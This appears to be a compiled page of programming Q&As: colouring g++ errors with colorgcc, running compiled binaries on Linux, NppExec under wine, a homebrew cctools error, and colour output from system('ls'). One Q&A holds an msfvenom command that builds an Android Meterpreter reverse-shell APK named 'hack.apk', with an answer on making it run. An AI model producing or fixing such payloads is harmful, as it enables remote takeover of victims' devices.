My g++ compiler for some reason shows all errors and warnings to be white, making spotting them very tough. I'm open to anything that is easy to implement. I have come across two solutions, none of which I can implement successfully, and hence I'm here:
Option 1:
I've read that the best choice is colorgcc: https://github.com/johannes/colorgcc
I have gone through basically all the posts on how to set it up, but am still having trouble. Here's what I have done so far.
I'm new to programming, so I couldn't understand a lot of it. But this is what I've done so far. I've tried to follow what other people have posted to the best of my knowledge but to no avail.
~$ vim .colorgcc (copy pasted the colorgcc perl script in here)
~$ chmod +X .colorgcc
/usr/bin$ g++ -> colorgcc
-bash: colorgcc: Permission denied
Option 2:
I've also read this post: Is there an easy way to COLOR-CODE the compiler outputs?
but not sure I understand where to copy paste the code that is shown in the best answer.
I think the reason why I can't set this up is because there is a lot that I don't understand, so if you could provide a more beginner like answer, it would be much appreciated.
I have a gcc version of 5.0. And I'm using a Mac OS X 10.10.
Thanks in advance!
I got colorgcc working just fine with the following:
~$ wget https://raw.githubusercontent.com/johannes/colorgcc/master/colorgcc.pl
~$ chmod +x colorgcc.pl
~$ sudo cp colorgcc.pl /usr/local/bin/colorgcc
~$ cd /usr/local/bin
~$ sudo ln -s colorgcc g++
If you are using gcc > 4.9 the compiler should be able to output color error messages. The option to configure this is -fdiagnostics-color[=WHEN]. This should work just fine in the terminal application in OSX.
For previous versions of gcc, there are external tools (filters) like colorgcc that will be able to colorize the output for you. You can take a look at wavemode answer for how to set up colorgcc.
Related
I've created a hello world program in c++ and tried to compile it in c++ like this.
[aleksf#ic-ifi-rh8-026 cpp]$ g++ testing.cpp -o testing
I know that the testing file was created because
[aleksf#ic-ifi-rh8-026 cpp]$ ls -A
testing testing.cpp
But when I try to execute the file it can't find it.
[aleksf#ic-ifi-rh8-026 cpp]$ .\testing
bash: .testing: command not found...
I don't understand whats gone wrong as this is what I've been told works.
Linux does not use \ it uses / for directory paths. Try ./testing.
Like Russel have pointed out, you need to use forward slash: ./testing
The file you're trying to run also needs to have the executable mode bit set. You can fix that by running: chmod +x testing
I just switched to ubuntu and I wanted to setup notepad++ for CPP.
So I used the NppExec plugin to compile within notepad++,
My script was :
npp_save
g++ "$(FULL_CURRENT_PATH)" -o "$(CURRENT_DIRECTORY)\$(NAME_PART)obj"
./"$(NAME_PART)obj"
Here the "obj" I used is to just save the file with an "obj" keyword nothing else.
The last line ./"$(NAME_PART)obj" is to run the program.
But it looks not working in ubuntu, it produces this error:
NPP_SAVE: Z:\home\username\cpp\test.cpp
g++ "Z:\home\username\cpp\test.cpp" -o "Z:\home\username\cpp\testobj"
; about to start a child process: "g++ "Z:\home\username\cpp\test.cpp" -o "Z:\home\username\cpp\testobj"
CreatProcess() failed with error code 2:
File not found.
./"testobj"
; about to start a child process: "./"testobj""
CreatProcess() failed with error code 2:
File not found.
I have investigated some of what I think is the problem, so I think is the usage of / and \ in changing the directory.
I don't know how to fix that, so I can not be sure.
Any ideas? :) I am using vim btw in the same machine and it is working perfectly.
In theory it might be possible (see below), in practice it is rather convoluted and works only for simple compiles (like single file hello world type).
I would suggest you try a linux program, e.g.
an editor like
scite (same editing engine as notepad++) or
kate
or a real IDE like
kdeveloper or
qtcreator.
The problems with Notepad++ inside wine and g++ outside wine (from the linux install ) are this:
notepad++ inside wine under linux is still a windows program
NppExec can only do, what a cmd inside wine can do.
starting g++ directly inside cmd is an error due to g++ being a linux binary and not a windows binary
that is your CreatProcess() failed with error code 2, it means: you are trying to execute a linux program inside wine.
That does not work! (At least not so easy.)
Though you can start linux program inside cmd inside wine using start /unix ...
started this way, g++ wants linux paths and NppExec through its variables will provide only windows paths (whatever wine has set up as drives like Z:\home\username\src\hello.cpp)
though you can convert wine paths to linux paths via the winepath -u command.
g++ started through 'start /unix ... ' inside a cmd inside wine has no proper terminal to report errors to you
though you can start an xterm for g++ and have g++ reports its messages to the xterm
the downside is that g++ will report errors using the linux paths in the xterm, so you cannot double click on an error message an get to the corresponding filename and line.
You get the idea: its complicated not comfortable.
What worked for me for a helloword.cpp was this NppExec script:
NPP_SAVE
npp_run cmd /c start /unix /usr/bin/xterm -e "/usr/bin/winepath -u '$(FULL_CURRENT_PATH)' | xargs g++ -o /tmp/a.out && /tmp/a.out ; echo 'Press return'; read"
The second line
uses an xterm,
let winepath convert the Z:\home\... path to /home/... and
have that send to g++ for compilation using /tmp/a.out as binary
if compile is successfull, /tmp/a.out is executed
the echo and read are for keeping the xterm open so that you can read the output.
If you really want to use Notepad++ inside wine, one option might be using Gnu Make outside of wine and have NppExec run make all or make run similar to the g++ in my script example. That would work for more complicated compiles.
I wanted to start writing c++ code again and I just realized that the homebrew version of gcc does not compile any c++, c, or even fortran programs.
For example, I tried to compile the following simple hello_world.cpp program:
#include<iostream>
int main()
{
std::cout << "Hello World!" << std::endl;
return 0;
}
using
g++-9 hello_world.cpp
The output I get is:
FATAL:/usr/local/Cellar/cctools/855/bin/../libexec/as/x86_64/as: I don't understand 'm' flag!
I tried installing gcc#8, gcc#7, and compile but I still get the same message.
Moreover, the same error message is shown when I try to compile a hello_world.c program using gcc-9 and a hello_world.f90 program using gfortran-9.
The programs *.c and *.cpp compile fine with the clang and clang++ compilers respectively. I also learned that as is an assembler, and that gcc can output a *.s file using the flag gcc -S but I still don't understand the error message.
I think I exhausted my c++ knowledge and internet search before posting so thank you in advance!
I ended up reinstalling all packages using
brew list | xargs brew reinstall
This fixed the problem!
For anyone else who has stumbled across this problem, you do not need to reinstall all of your brew packages. The troublemaker is cctools, which is no longer in the brew formulae list. If for some reason it is still hanging around on your system, you can either
mv /usr/local/Cellar/cctools{,-backup}
to make sure it is no longer seen by the gcc tool suite installed through homebrew, or you can outright remove it
brew uninstall cctools
I opted for the first, at the moment, because I am not sure what, if anything, removal would break. Once I have confirmed that there are no ill effects caused by not having this installed, I will remove it altogether from my system. That being said, I have confirmed that simply moving the directory takes care of the
FATAL:/usr/local/Cellar/cctools/855/bin/../libexec/as/x86_64/as: I don't understand 'm' flag!
error being reported when you try and compile something with the GNU compiler on Mac OSX (in my case Catalina, but should be the same for Big Sur and Monterrey).
I write this code in termux :
msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk
And in asnswer :
Error : no options
How can i solve?
There is an easy fix for this error as per my experience
If you installed metasploit-framework correctly the following workaround WILL work
navigate to the metasploit-framework directory usually, cd ~/metasploit-framework should do the job
Run the same command using 'ruby' i.e. ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk
This shall fix the error you mentioned but note that you might have installation errors in metasploit-framework as I have had too
🖖🏻
When I directly run a command in my Linux terminal, say "ls", the output is with color. However, when I run a C++ program which calls system("ls"), the output does not have color.
Is there way to get the latter way to also display colored output?
Thanks!
The answer for why there's no color lies here.
system() executes a command specified in command by calling /bin/sh -c
command, and returns after the command has been completed.
sh -c ignores aliases. Perhaps somewhere you have an alias where ls means ls --color=auto.
So for example, if I do sh -c 'ls', I will get no color.
Proof:
wow ♪[01:04 AM][vnbraun#chernobyl ~]$ which ls
alias ls='ls --color=auto'
/bin/ls
wow ♪[01:08 AM][vnbraun#chernobyl ~]$ sh -c 'which ls'
/bin/ls
Therefore, you can try doing system("ls --color=auto");.
You could run
system("/bin/ls --color=auto");
But I don't think you really should run ls from your C++ program. Perhaps you want to use -some combination of- readdir(3), stat(2), nftw(3), glob(3), wordexp(3) etc etc....
I don't think that forking a shell which then runs /bin/ls is useful from a C++ program. There are simpler ways to achieve your goal (which I cannot guess).
You probably should read Advanced Linux Programming
Try invoking ls --color=auto or ls --color=always to display ls with colors.
This is likely due to a bash configuration file somewhere in your system aliasing "ls" to "ls --color".
Using "ls --color" in your program should work.